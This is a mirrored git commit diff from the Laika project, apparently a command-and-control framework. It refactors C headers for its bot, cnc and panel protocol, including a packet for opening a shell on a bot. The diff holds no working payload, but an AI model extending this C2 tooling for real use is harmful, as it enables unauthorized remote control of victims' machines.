mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-10 23:10:06 +00:00
Refactored LAIKAPKT_HANDSHAKE_REQ, laikaS_acceptFrom
- added inet member to peer structs
This commit is contained in:
@@ -9,7 +9,8 @@
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPV4_LEN 16
|
||||
#define LAIKA_IPV4_LEN INET_ADDRSTRLEN
|
||||
#define LAIKA_INET_LEN INET_ADDRSTRLEN
|
||||
|
||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
|
||||
|
||||
@@ -45,7 +46,7 @@ enum {
|
||||
* uint8_t minorVer;
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
* char ipv4[LAIKA_IPV4_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_RES,
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
@@ -72,6 +73,7 @@ enum {
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||
* char inet[LAIKA_INET_LEN];
|
||||
* char ipv4[LAIKA_IPV4_LEN];
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
@@ -80,7 +82,7 @@ enum {
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot */
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
*/
|
||||
|
||||
@@ -30,7 +30,7 @@ struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
|
||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
|
||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
|
||||
@@ -61,9 +61,9 @@ typedef enum {
|
||||
} RAWSOCKCODE;
|
||||
|
||||
struct sLaika_socket {
|
||||
SOCKET sock; /* raw socket fd */
|
||||
uint8_t *outBuf; /* raw data to be sent() */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
SOCKET sock; /* raw socket fd */
|
||||
int outCount;
|
||||
int inCount;
|
||||
int outCap;
|
||||
@@ -83,7 +83,7 @@ void laikaS_cleanSocket(struct sLaika_socket *sock);
|
||||
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
|
||||
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
|
||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4);
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
||||
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
|
||||
|
||||
Reference in New Issue
Block a user